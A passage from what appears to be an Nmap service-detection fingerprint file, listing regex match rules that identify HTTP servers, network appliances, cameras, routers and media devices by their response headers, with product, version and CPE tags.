          \r\n\r\nRedirect \(authentication_redirect_to_virtual_host\)| p/Pitney Bowes Business Manager BMDLAService/ h/$1/ match http m|^HTTP/1\.0 401 Unauthorized\r.*\nServer: phionEntegraHTTP\r\nAllow: GET, HEAD, DELETE\r\nWWW-Authenticate: Basic realm=phion Transparent Agent authentication\r\n|s p/phion Entegra SSL VPN client/ match http m|^HTTP/1\.0 404 Not Found\r\nServer: 2Wire TR-069\r\nContent-Length: 0\r\nAllow: GET\r\nWWW-Authenticate: d=\d+ +set_mask=0x[\da-f]+ +handle_evt=0x[\da-f]+.+\r\n| p/2Wire TR-069 access/ match http m|^HTTP/1\.1 302 Found\r\nX-UA-Compatible: IE=edge,chrome=1\r\nSet-Cookie: JSESSIONID=[\dA-F]+; Path=/; Secure; HttpOnly\r\nDate: .*\r\nLocation: /maintenance-login\.html\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: 0\r\nVary: Accept-Encoding\r\nConnection: close\r\nServer: NSC/([\w._-]+) \(JVM\)\r\n\r\n| p/Nexpose Security Console/ v/$1/ i/maintenance mode/ cpe:/a:rapid7:nexpose:$1/ match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]+\r\n(?!\r\n))*?Server: NSC/([\w._-]+) \(JVM\)\r\n\r\n|s p/Nexpose Security Console/ v/$1/ cpe:/a:rapid7:nexpose:$1/ match http m|^HTTP/1\.1 302 Found\r\nX-Frame-Options: SAMEORIGIN\r\nX-UA-Compatible: IE=edge,chrome=1\r\nX-Content-Type-Options: nosniff\r\nX-XSS-Protection: 1; mode=block\r\nLocation: https://[^/]+/login\.jsp\r\nContent-Length: 0\r\nDate: .*\r\nConnection: close\r\nServer: Security Console\r\n\r\n| p/Nexpose Security Console/ cpe:/a:rapid7:nexpose/ match http m|^HTTP/1\.1 404 Not Found\r\nX-Powered-By: Sinopia/([\w._-]+)\r\nContent-Type: text/html; charset=utf-8\r\nContent-Length: 13\r\nVary: Accept-Encoding\r\nX-Status-Cat: http://flic\.kr/p/aV6juR\r\nDate: .*\r\nConnection: close\r\n\r\nCannot GET /\n| p/Sinopia npm proxy/ v/$1/ i/node.js/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.1 300 Multiple Choices\r\nVary: X-Auth-Token\r\nContent-Type: application/json\r\nContent-Length: \d+\r\nDate: .*\r\nConnection: close\r\n\r\n{\"versions\": {\"values\": \[{.*?\"type\": \"application/vnd\.openstack\.identity-v([\d.]+)\+| p/OpenStack Identity API/ v/$1/ match http m|^HTTP/1\.1 200 Ok\r\nServer: ZyXEL Modem\r\n.*\.::Welcome to ZyXEL ([^:<]+?)::\.|s p/ZyXEL $1 modem http config/ d/broadband router/ cpe:/h:zyxel:$1/a match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: Oracle-Traffic-Director/([\w._-]+)\r\nDate: .*\r\nContent-length: \d+\r\nContent-type: text/html; charset=UTF-8\r\nX-powered-by: Servlet/([\w._-]+) JSP/([\w._-]+)\r\n| p/Oracle Traffic Director/ v/$1/ i/Servlet $2; JSP $3/ cpe:/a:oracle:jsp:$3/ match http m|^HTTP/1\.1 \d\d\d .*\r\nServer: Oracle-Traffic-Director/([\w._-]+)\r\n| p/Oracle Traffic Director/ v/$1/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nServer: Printopia/([\w._-]+)\r\nLocation: http://www\.ecamm\.com/mac/printopia/instructions\.html\r\nConnection: close\r\n\r\n| p/Printopia for Mac/ v/$1/ o/Mac OS X/ cpe:/o:apple:mac_os_x/a match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: httpd\r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm=\"(E\d+)\"\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n\n| p/Cisco Linksys $1 router config/ d/broadband router/ cpe:/h:cisco:linksys_$1/a # Blackberry 10.2.1 match http m|^HTTP/1\.0 404 Not Found\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nServer: \r\n\r\n404 Not Found\n

          404 Not Found

          \nindex\.html:
          This item has not been found
          \n| p/Blackberry Universal Device Service/ d/phone/ cpe:/a:blackberry:blackberry_universal_device_service/ match http m|^HTTP/1\.1 404 Service not found\r\nDate: .* GMT\r\nServer: ACE XML Gateway\r\nContent-Type: text/plain\r\nContent-Length: 42\r\nConnection: close\r\n\r\nNo handler was found matching the request\.| p/Cisco Application Control Engine XML Gateway/ d/load balancer/ cpe:/a:cisco:application_control_engine_software/ # Post-2.2 development version has longer content match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Length: 17\r\nWWW-Authenticate: Basic realm=varnish-agent\r\nDate: .*\r\n\r\nAuthorize, please$| p/Varnish Agent/ v/2.2 or older/ cpe:/a:varnish-cache:varnish_agent/ match http m|^HTTP/1\.1 401 Unauthorized\r\nWWW-Authenticate: Digest realm=\"NetAV\", nonce=\"[\da-f]{32}\", algorithm=MD5, domain=\"/netav/\", qop=\"auth\",\r\nPragma: no-cache\r\nCache-control: no-cache, no-store\r\n\r\n$| p/Sony NetAV/ d/media device/ # UUID header added in 0.5.6b match http m|^HTTP/1\.1 400 Bad request\r\nContent-Type: text/html; charset=utf-8\r\nPragma: no-cache\r\nExpires: 0\r\nCache-Control: no-store\r\nConnection: close\r\nX-PageKite-UUID: [\da-f]{40}\r\n\r\n

          400 Bad request

          Invalid request, no Host: found\.

          \n| p/PageKite localhost tunnel/ v/0.5.6b or later/ match http m|^HTTP/1\.1 404 Not Found\r\nDate: .*\r\nServer: Genetic Lifeform and Distributed Open Server ([\w._-]+)\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\nCache-Control: public, max-age=31536000\r\nContent-Length: 28\r\n\r\nAn error has occurred\. \(404\)| p/Hentai@Home P2P downloader/ v/$1/ match http m|^HTTP/1\.1 400 Bad Request \(missing Host: header\)\r\nConnection: close\r\nDate: .* ([-+]\d\d\d\d)\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\n| p/Pandora FMS/ i/timezone: $1/ match http m|^HTTP/1\.1 302 Moved Temporarily\r\nContent-Type: text/plain\r\nContent-Length: 24\r\nLocation: /unsupported_browser\.htm\r\nDate: .*\r\nConnection: close\r\nServer: RStudio\r\n\r\n/unsupported_browser\.htm| p/RStudio Server/ match http m|^HTTP/1\.0 401 unknown \r\nServer: ForceLiveTransfer/([\w ]+)\r\nContent-Length: 0\r\nDate: .*\r\nWWW-Authenticate: Basic realm=\"[^"]+\"\r\n\r\n$| p/ForceTech ForceLive Transfer/ v/$1/ d/media device/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-type: text/plain\r\nContent-length: 58\r\n\r\n400 Bad Request\n'json' or 'msgpack' parameter is required\n$| p/fluentd data collector/ v/0.10.48 or later/ match http m|^HTTP/1\.1 301 Moved Permanently\r\nLocation: http://null/console/index\.html\r\nConnection: close\r\nDate: .*\r\n\r\n$| p/HornetQ JMS http admin/ match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nContent-Type: text/html; charset=UTF-8\r\nServer: gvs ([\d.]+)\r\n.* Error 404 \(Not Found\)!!1|s p/Google Video Server/ v/$1/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\nDate: .*\r\nServer: HPE?-iLO-Server/([\w._-]+)\r\nContent-Length: 0\r\n\r\n| p/HP Integrated Lights-Out web interface/ v/$1/ cpe:/h:hp:integrated_lights-out:$1/ match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\nDate: .*\r\nContent-Length: 0\r\n\r\n| p/HP Integrated Lights-Out web interface/ cpe:/h:hp:integrated_lights-out/ match http m|^HTTP/1\.0 404 Not Found\r\nDate: .*\r\nServer: Brazil/([\d.]+)\r\nConnection: close\r\nContent-Length: 135\r\nContent-Type: text/html\r\n\r\n\n\nError: 404\n\nGot the error: Not Found
          \nwhile trying to obtain /
          \n\n\n| p/Sun Labs Brazil httpd/ v/$1/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 403 Forbidden\r\nServer: Norman Security/([\w._-]+)\r\nContent-Type: text/html\r\nConnection: Close\r\nContent-Length: 83\r\n\r\nSecurity Error

          403 - Forbidden

          | p/Norman Security Suite http config/ v/$1/ cpe:/a:norman:security_suite:$1/ match http m|^HTTP/1\.0 401 Unauthorized\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Tadiran MGCP Phone\"\r\nContent-Type: text/html\r\n\r\n| p/Tadiran MGCP phone http config/ d/VoIP phone/ match http m|^HTTP/1\.1 \d\d\d .*\r\nDate: .*\r\nServer: Cosminexus HTTP Server\r\n| p/Hitachi Cosminexus httpd/ cpe:/a:hitachi:cosminexus_application_server/ match http m|^HTTP/1\.1 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: Intel\(R\) Small Business Technology ([\w._-]+)\r\n|s p/Intel Small Business Technology Platform/ v/$1/ d/remote management/ cpe:/a:intel:small_business_technology_platform:$1/ match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\n.*|s p/IBM WebSphere Application Server/ v/$1/ i/Liberty Profile/ cpe:/a:ibm:websphere_application_server:$1:-:liberty_profile/ match http m|^HTTP/1\.0 \d\d\d (?:[^\r\n]*\r\n(?!\r\n))*?Server: DrWebServer/REL-1000-([\w._-]+) ([^/]+)/(\w+) Lua/([\w._-]+) OpenSSL/([\w._-]+) zlib/([\w._-]+) UNICODE/[\d.]+\r\n|s p/Dr.Web Enterprise Security Suite httpd/ v/$1/ i/arch: $3; Lua $4; OpenSSL $5; zlib $6/ o/$SUBST(2,"_"," ")/ cpe:/a:drweb:enterprise_security_suite:$1/ cpe:/a:gnu:zlib:$6/ cpe:/a:openssl:openssl:$5/ cpe:/a:puc-rio:lua:$4/ # aviosys 9060 webcam match http m|^HTTP/1\.0 401 NG \r\nWWW-Authenticate: Basic realm=Camera Name : (.*)\r\n\r\nUnauthorized$| p/Aviosys webcam httpd/ i/camera name: $1/ d/webcam/ match http m|^HTTP/1\.1 400 Bad request\r\nContent-Length: 80\r\n\r\n400 Bad requestBad request| p/Cockpit management console/ o/Linux/ cpe:/a:redhat:cockpit/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 404 Not Found\r\nServer: CPE-SERVER/([\w._-]+) Supports only GET\r\n\r\n| p/CPE Server TR-069 remote access/ v/$1/ d/broadband router/ match http m|^HTTP/1\.1 200 OK\r\nServer: IPCamera HTTP/ONVIF/P2P/RTSP/VOD Multi-Server\r\n| p|DB Power IP Camera HTTP/ONVIF/P2P/RTSP/VOD multi-server| d/webcam/ match http m|^HTTP/1\.1 200 OK\r\nServer: WebServer\(ipcamera\)\r\n| p|DB Power IP Camera HTTP/ONVIF/P2P/RTSP/VOD multi-server| d/webcam/ # Amazon Fire TV match http m|^HTTP/1\.1 \d\d\d [\w ]+ \r\nContent-Type: text/plain\r\nDate: .*\r\nConnection: keep-alive\r\nContent-Length: \d+\r\n\r\nError \d\d\d, [\w ]+\.$| p/Amazon Whisperplay DIAL REST service/ d/media device/ cpe:/a:amazon:whisperplay/ match http m|^HTTP/1\.1 403 HTTP_FORBIDDEN\r\nCache-Control: no-cache\r\nConnection: close\r\nDate: .* \d\d:\d\d:\d\d\r\n\r\n| p/Folding@Home FAHClient/ cpe:/a:stanford:fahclient/ match http m|^HTTP/1\.1 401 Unauthorized\r\nContent-Length: 0\r\nWWW-Authenticate: Digest qop=\"auth\", realm=\"rokudev\", nonce=\"1412736333\"\r\n\r\n| p/Mongoose httpd/ v/3.7/ i/Roku developer interface, firmware 5.2 or later/ cpe:/a:cesanta:mongoose:3.7/ match http m|^HTTP/1\.1 200 Ok\r\nServer: httpd\r\nDate: .* GMT\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n| p/milli_httpd/ cpe:/a:acme:milli_httpd/ # Some misconfiguration perhaps? match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/plain\r\nDate: .* GMT\r\nConnection: close\r\n\r\nNot implemented$| p/Node.js/ cpe:/a:nodejs:node.js/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/html; charset=utf-8\r\nCache-Control: no-cache\r\nWWW-Authenticate: Digest realm=\"Tixati Web Interface\", qop=\"auth\", nonce=\"[0-9a-f]{32}\", opaque=\"[0-9a-f]{32}\"\r\n\r\n| p/Tixati bittorrent client Web interface/ cpe:/a:tixati:tixati/ match http m|^HTTP/1\.1 401 Not Authorized\r\nWWW-Authenticate: Basic realm=\"Vuze(?: - Vuze Web Remote)?\"\r\nContent-Length: 15\r\n\r\nAccess Denied\r\n| p/Vuze remote http admin/ cpe:/a:azureus:vuze/ match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\nContent-Length: 1164\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n| p/Oracle WebLogic admin httpd/ cpe:/a:oracle:weblogic_server/ match http m|^HTTP/1\.1 \d\d\d .*\r\nConnection: Keep-Alive\r\nServer: \r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n\r\n| p/Siemens Gigaset C610 VoIP Phone http admin/ d/VoIP phone/ cpe:/h:siemens:gigaset_c610/a match http m=^HTTP/1\.1 400 Bad Request\r\nS(?:ERVER|erver): HDHomeRun/([\w._-]+)\r\n= p/SiliconDust HDHomeRun set top box http admin/ v/$1/ d/media device/ cpe:/h:silicondust:hdhomerun/ match http m|^HTTP/1\.1 404 Not Found\r\nServer: HDHomeRun/([\d.]+)\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n| p/SiliconDust HDHomeRun set top box streaming httpd/ v/$1/ d/media device/ cpe:/h:silicondust:hdhomerun/ match http m|^HTTP/1\.0 401 Unauthorized\r\nDate: .*\r\nContent-type: text/html\r\nContent-Length: 97\r\nWWW-Authenticate: Digest qop=\"auth\", stale=false, algorithm=MD5, realm=\"(ECOR[\w_-]+)\", nonce=\"\d+\"\r\nConnection: keep-alive\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \n| p/EverFocus $1 DVR http viewer/ d/media device/ cpe:/h:everfocus:$1/ match http m|^HTTP/1\.0 200 OK\r\nDate: .*\r\nServer: Raumfeld Renderer\r\nConnection: close\r\nContent-Type: audio/x-flac\r\n| p/Raumfeld Connector audio streaming httpd/ d/media device/ cpe:/h:teufel:raumfeld_connector/ match http m|^HTTP/1\.1 200 OK\r\nServer: Linux, WEBACCESS/([\w._-]+), (DIR-\w+) Ver ([\w._-]+)\r\n| p/D-Link SharePort web access/ v/$1/ i/model $2, version $3/ d/storage-misc/ o/Linux/ cpe:/a:d-link:shareport_web_access:$1/ cpe:/h:d-link:$2/ cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 400 Bad Request\r\nConnection: close\r\nContent-Length: 0\r\n\r\n$| p/T-Home Telekom Media Receiver httpd/ d/media device/ match http m%^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/html; charset=\"utf-8\"\r\nServer: Linux/((2\.[46]\.\d+|\d\.\d+)\S*) DoaHTTP\r\nContent-Length: 0\r\nDate: .* GMT\r\n\r\n$% p/com.sec.android.app.FileTransferServer/ i/Linux $1/ o/Android/ cpe:/o:google:android/ cpe:/o:linux:linux_kernel:$2/ match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: WebIOPi/([\w._-]+)/Python(\d[\w._-]*)\r\n| p/WebIOPi IoT framework/ v/$1/ i/Python $2/ cpe:/a:python:python:$2/ cpe:/a:trouch:webiopi:$1/ match http m|^HTTP/1\.0 200 OK\r\nPragma: no-cache\r\nContent-Type: text/html\r\n\r\n\n.*\n\n| p/Fortinet SSL VPN/ d/security-misc/ # Netasq/Stormshield match http m|^HTTP/1\.0 302 Moved Temporarily\r\nDate: .*\r\nConnection: Close\r\nLocation: /auth/\r\nCache-Control: no-store,no-cache,must-revalidate\r\nPragma: no-cache\r\nExpires: -1\r\nLast-Modified: Mon, 12 Jan 2000 13:42:42 GMT\r\nContent-Type: text/html\r\n\r\n| p/Stormshield firewall admin httpd/ d/firewall/ o/FreeBSD/ cpe:/o:freebsd:freebsd/a # Despite the 1.4 server header, this can be anything from 1.4 to 2.0: match http m|^HTTP/1\.1 200 OK\r\nETag: W/\"\d\d\d\d-\d+\"\r\nLast-Modified: .*\r\nContent-Type: text/html\r\nContent-Length: \d+\r\nDate: .*\r\nServer: Sun-Java-System/Web-Services-Pack-1\.4\r\nConnection: close\r\n\r\n\n\nJava Web Services Developer Pack ([\d.]+)| p/Java Web Services Developer Pack/ v/$1/ cpe:/a:sun:jwsdp:$1/ match http m|^HTTP/1\.0 301 Moved Permanently\r\nHTTP/1\.0 400 Bad Request\r\n| p/Huawei S5700-series switch httpd/ d/switch/ match http m|^HTTP/1\.0 \d\d\d .*\r\nServer: switch\r\nDate: [a-z,0-9: ]+ GMT\r\nContent-Length: \d\d?\r\nConnection: Close\r\n\r\n| p/Huawei S5700-series switch httpd/ d/switch/ match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .* \d\d\d\d\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Basic realm=\"(TV-IP\w+)\"\r\n\r\n| p/alphapd httpd/ i/TrendNet $1 IP camera/ d/webcam/ cpe:/h:trendnet:$1/ match http m|^HTTP/1\.0 401 Authorization Required\r\nServer: alphapd\r\nDate: .* \d\d\d\d\r\nCache-Control: no-cache\r\nContent-type: text/html\r\nWWW-Authenticate: Basic realm=\"(DCS-\w+)\"\r\n\r\n| p/alphapd httpd/ i/D-Link $1 IP camera/ d/webcam/ cpe:/h:d-link:$1/ match http m|^HTTP/1\.1 200 OK\r\nServer: Web Server\r\nContent-Type: text/html\r\nCache-Control: no-cache\r\nPragma: no-cache\r\n\r\n\n | p/ATEN CN8000 KVM http admin/ cpe:/h:aten:cn8000/ match http m|^HTTP/1\.0 200 OK\r\nContent-Length: \d+\r\nContent-Type: text/html\r\nDate: .*\r\n\r\n\n\n\n \n \r\n\r\n0\r\n\r\n| p/ez Share Wi-Fi SD card/ d/storage-misc/ match http m|^HTTP/1\.1 302 Moved Temporarily\r\nConnection: Close\r\nDate: .* GMT\r\nContent-Type: text/html\r\nLocation: http://null/storage/emulated/0\r\nContent-Length: 103\r\n\r\nYou are being redirected to http://null/storage/emulated/0\r\n| p/smarterDroid WiFi File Transfer/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n\r\n - ([^<]+?) - WiFi File Transfer| p/smarterDroid WiFi File Transfer/ i/$1/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 200 OK\r\nConnection: Close\r\nDate: .*\r\nContent-Type: text/html\r\n\r\n\r\n\r\n\r\n\r\n - ([^<]+?) - WiFi File Transfer Pro| p/smarterDroid WiFi File Transfer Pro/ i/$1/ d/phone/ o/Android/ cpe:/o:google:android/a cpe:/o:linux:linux_kernel/a match http m|^HTTP/1\.1 404 Not Found\r\n.*

          Sinatra doesn’t know this ditty\.

          \n |s p/Sinatra web framework/ cpe:/a:bmizerany:sinatra/ match http m|^HTTP/1\.1 200 OK\r\nDate: [A-Z][a-z]{2}, 1 [A-Z]{3} 2015 18:6:13 GMT\r\nServer: Plex\r\nKeep-Alive: timeout=60\r\nContent-Length: 692\r\nContent-Type: text/html\r\nAccept-Ranges: bytes\r\n\r\n\n\nPlex\n\n\n

          /

          \n
          | p/Plex for Roku/ d/media device/
          match http m|^HTTP/1\.1 200 OK\r\nDate: .*\r\nServer: Unknown\r\nContent-Length: \d+\r\nConnection: close\r\nContent-Type: text/html; charset=ISO-8859-1\r\n\r\n\n\n\n\n\nLifeSize®| p/LifeSize teleconferencing config httpd/ d/webcam/
          match http m|^HTTP/1\.1 200 OK\r\nCache-control: max-age=300\r\nServer: Ubicom/([\d.]+)\r\nContent-Length: \d+\r\n\r\n\n\n\t\n\t\tVeo Observer Web Client| p/Ubicom embedded httpd/ v/$1/ i/Veo Observer webcam/ d/webcam/ cpe:/h:veo:observer/
          match http m|^HTTP/1\.0 200 OK\r\nContent-Length: 59\r\nContent-Type: text/plain\r\n\r\nIf you see this page, Seafile HTTP syncing component works\.| p/Seafile HTTP syncing component/ cpe:/a:seafile:seafile/
          match http m|^HTTP/1\.1 200 OK\r\nDate: Wed, 17 Jan 2007 22:21:12 GMT\r\nServer: Smeagol/([\w._-]+)\r\nAccept-Ranges: bytes\r\nConnection: Close\r\nContent-Type: text/html\r\nContent-Length: \d+\r\n\r\n\n\nBlue's IP Buffer Front Page| p/Smeagol httpd/ v/$1/ i/Telcen Blue's IP Buffer/ d/telecom-misc/
          # For fallback (same device as above):
          match http m|^HTTP/1\.1 501 Not Implemented\r\nFoo: /usr/www/errors/501\.html\r\nConnection: Close\r\nContent-Type: text/plain\r\n\r\n501 Not Implemented\r\n\r\nThe requested method isn't implemented\.\r\n| p/Smeagol httpd/
          match http m|^HTTP/1\.[01] \d\d\d [^\r\n]+\r\nServer: HTTP server\r\nDate: [^\r\n]+ \d\d\d\d\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\n.*\r\n\r\n|s p/Dell 1355cnw MFC config httpd/ d/printer/ cpe:/h:dell:1355cnw/
          match http m|^HTTP/1\.[01] \d\d\d .+\r\nDate: .+\r\nServer: Netgem/1\.0 \([Hh][Tt][Tt][Pp]server\)\r\n| p/Netgem netbox set-top box config httpd/ d/media device/
          match http m|^HTTP/1\.0 200 OK\r\nDate: [^\r\n]+ ([A-Z]+) \d\d\d\d\r\nServer: User Agent Web Server\r\n.*STB WebServer|s p/Cisco ODN set-top box httpd/ i/time zone: $1/ d/media device/
          match http m|^HTTP/1\.1 302 Movtmp\r\nContent-Type: text/html\r\nLocation: https://[\d.]+:443/\r\nConnection: close\r\nUpgrade: TLS/([\d.]+)\r\n\r\n| p/Kyocera TASKalfa printer httpd/ i/redirect to HTTPS, TLS $1/ d/printer/
          match http m|^HTTP/1\.0 200 OK\r\nConnection: Close\r\nServer: TSEWS\r\nContent-Length: \d+\r\nDate: .*\r\nExpires: .*\r\n| p/Technisat Embedded Web Server/ d/media device/
          match http m|^HTTP/1\.0 200 OK\nContent-type: text/html\r\nDate: .*\r\nConnection: close\r\nLast-Modified: .*\r\nContent-length: \d+\r\n\r\n\n\n\n    Aastra IP Phone Configurator\n    | p/Aastra IP Phone config httpd/ d/VoIP phone/
          match http m|^HTTP/1\.1 404 Not Found\r\ncontent-type: text/html\r\ncontent-length: \d+\r\nserver: PyCharm ([\w._-]+)\r\ndate: | p/PyCharm/ v/$1/ cpe:/a:jetbrains:pycharm:$1/
          match http m|^HTTP/1\.1 200 OK\r\nContent-Encoding: \r\nContent-Length: \d+\r\nContent-Type: text/html; charset=UTF-8\r\n\r\n\n\n\n    \n    \n    [^<]*qBittorrent| p/qBittorrent Web UI/ cpe:/a:qbittorrent:qbittorrent/
          match http m|^HTTP/1\.0 404 Not Found\r\nServer: Cowboy\r\nDate: [^\r\n]+\r\nContent-Length: \d+\r\nContent-Type: text/html; charset=utf-8\r\n.*<title>Heroku \x7c No such app|s p/Cowboy httpd/ i/Heroku/ cpe:/a:ninenines:cowboy/
          match http m|^HTTP/1\.1 200 OK\r\nContent-Type: text/html; charset=iso-8859-1\r\nCache-control: no-cache\r\nContent-Length: \d+\r\n\r\n\r\n\r\n\r\nARCHTTP Configuration| p/Areca RAID Controller HTTP configuration tool/
          match http m|^HTTP/1\.1 200 OK\nServer: axhttpd/([\w._-]+)\nContent-Type: text/html\nContent-Length: \d+\nDate: .*\nLast-Modified: .*\n\n| p/axTLS axhttpd/ v/$1/ cpe:/a:cameron_rich:axtls:$1/
          match http m|^HTTP/1\.1 200 OK\r\nAccess-Control-Allow-Methods: GET, POST, HEAD, OPTIONS\r\nAllow: GET, POST, HEAD, OPTIONS\r\nContent-Length: 0\r\nServer: PhpStorm ([\w._-]+)\r\nDate: | p/PhpStorm IDE httpd/ v/$1/ cpe:/a:jetbrains:phpstorm:$1/
          match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nSet-Cookie: DLILPC=\"\"; Version=1; Max-Age=0; Path=/\r\n\r\n.*Power Controller \n \n|s p/Digital Loggers Web Power Switch II http config/ d/power-device/
          match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html\r\nCache[- ]Control: .*\r\nExpires: .*\r\nPragma: no-cache\r\nSet-Cookie: DLILPC=""; Version=1; Max-Age=0; Path=/\r\n\r\n\n\n\n \nPower Controller | p/Digital Loggers Web Power Switch/ d/power-misc/
          match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Router\r\nConnection: close\r\nWWW-Authenticate: Basic realm=\"Fast Wireless (?:\w+ )?Router (FW\w+)\"\r\nContent-Type: text/html\r\n\r\n\n\n\r\n\t\r\n\t\t\r\n\t\t| p/TP-Link TL-SG3210 switch admin httpd/ d/switch/ cpe:/h:tp-link:tl-sg3210/
          match http m|^HTTP/1\.0 200 OK\r\nServer: Web Switch\r\nConnection: close\r\nContent-Type: text/html\r\n\r\n\n\n\nPlease Login First\.\n\n| p/D-Link DI-524 WAP http config/ d/WAP/ cpe:/h:dlink:di-524/a
          match http m|^HTTP/1\.0 401 Unauthorized\r\nServer: HTTPD\r\nDate: .* GMT\r\nWWW-Authenticate: Basic realm="USER LOGIN"\r\nPragma: no-cache\r\nCache-Control: no-cache\r\nContent-Type: text/html\r\nConnection: close\r\n\r\n401 Unauthorized\n

          401 Unauthorized

          \nAuthorization required\.\n\n| p/LimitlessLED smart lightbulb bridge httpd/ d/specialized/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nContent-Type: text/html;charset=UTF-8\r\nContent-Length: \d+\r\n\r\n\n\n\n\n| p/D-Link DES-1100 switch http config/ d/switch/ cpe:/h:dlink:des-1100/a match http m|^HTTP/1\.0 401 Authorization Required\r\nWWW-Authenticate: BASIC realm="Admin"\r\n\r\nPassword Error\.| p/D-Link DP-301P+ print server httpd/ d/print server/ cpe:/h:d-link:dp-301p/ match http m|^HTTP/1\.0 200 OK\r\nConnection: close\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: -1\r\n\r\n\r\n\r\n| p/KCodes NetUSB http interface/ cpe:/o:kcodes:netusb/ match http m|^HTTP/1\.0 302 Found\r\nLocation: https:///\r\nContent-Type: text/html\r\nContent-Length: 136\r\n\r\nRedirect

          Redirect

          You should go to https:///

          | p/Aruba AirWave httpd/ cpe:/a:arubanetworks:airwave/ match http m|^HTTP/1\.1 401 Authorization Required\r\nWWW-Authenticate: Basic realm="FHEM: login required"\r\nContent-Length: 0\r\n\r\n| p/FHEM home automation httpd/ cpe:/a:rudolf_koenig:fhem/ match http m|^HTTP/1\.0 200 OK\r\nContent-Length: \d+\r\nLast-Modified: .* GMT\r\nContent-Type: text/html\r\nCache-Control: private, max-age=0, no-cache\r\nAccept-Ranges: bytes\r\nDate: .* GMT\r\n\r\n\n\n \n Arch| p/Arch webinterface to Kodi/ cpe:/a:abricot:arch/ match http m|^HTTP/1\.0 [45]\d\d .*\r\nDate: .* GMT\r\nContent-Length: \d+\r\n\r\n\n\n\n\n

          [45]\d\d [^<]*

          | p/Prosody XMPP BOSH httpd/ cpe:/a:prosody:prosody/ match http m|^HTTP/1\.1 302 FOUND\r\nLocation:/public/login\.html\r\nContent-Length: 0\r\n\r\n| p/Triax TSS 400 SATIP server httpd/ d/media device/ cpe:/h:triax:tss_400/ # seen on webcam, wifi range extender, etc. match http m|^HTTP/1\.1 200 OK\r\nServer: TP-LINK HTTPD/1\.0\r\nConnection: close\r\n| p/TP-LINK embedded httpd/ match http m|^HTTP/1\.1 200 OK\r\ncache-control: no-cache\r\ncontent-length: \d+\r\ncontent-type: text/html\r\ndate: (.* GMT)\r\nlast-modified: \1\r\n\r\n| p/EHS embedded httpd/ v/1.4.5 or earlier/ cpe:/a:fritz_elfert:ehs/ match http m%^HTTP/1\.0 200 OK\r\nCache-Control: must-revalidate\r\n(?:Set-Cookie: [a-f0-9]{8}/accept-language=; path=/\r\n)?ETAG: [a-f0-9]{8}\r\n(?:Cache-Control: must-revalidate\r\n)?Content-Type: text/html; charset=utf-8\r\nContent-Length: \d+\r\n\r\n\n\n\n\n\n\n\n\n\n\n[^<]*\n % p/Repetier Server $2 3d printer controller/ v/$1/ cpe:/a:hot-world:repetier_server:$1::$2/ match http m|^HTTP/1\.0 401 Unauthorized\r\nContent-Type: text/plain; charset=utf-8\r\nWww-Authenticate: Basic realm="Authorization Required"\r\nX-Content-Type-Options: nosniff\r\nDate: .* GMT\r\nContent-Length: 15\r\n\r\nNot Authorized\n$| p/Syncthing WebUI/ cpe:/a:syncthing:syncthing/ match http m|^HTTP/1\.1 403 Forbidden\r\nConnection: close\r\nContent-Length: 202\r\n\r\n<\?xml version='1\.0' encoding='UTF-8' \?>403 Forbidden0-25012Invalid URL: | p/TeamDrive/ cpe:/a:teamdrive:teamdrive/ match http m|^HTTP/1\.1 401 Unauthorized\r\nServer: Router\r\nConnection: close\r\nWWW-Authenticate: Basic realm="FAST Wireless N Router (FW\d+R)"\r\nContent-Type: text/html\r\n\r\n| p/Fastcom $1 WAP http admin/ d/WAP/ cpe:/h:fastcom:$1/ # port 49152. also Neato Botvac D3 Connected; want more specific matches. #match http m|^HTTP/1\.1 404 Not Found\r\nConnection: close\r\nDate: .* GMT\r\n\r\n$| p/Linksys E8350 WAP or TP-LINK router/ 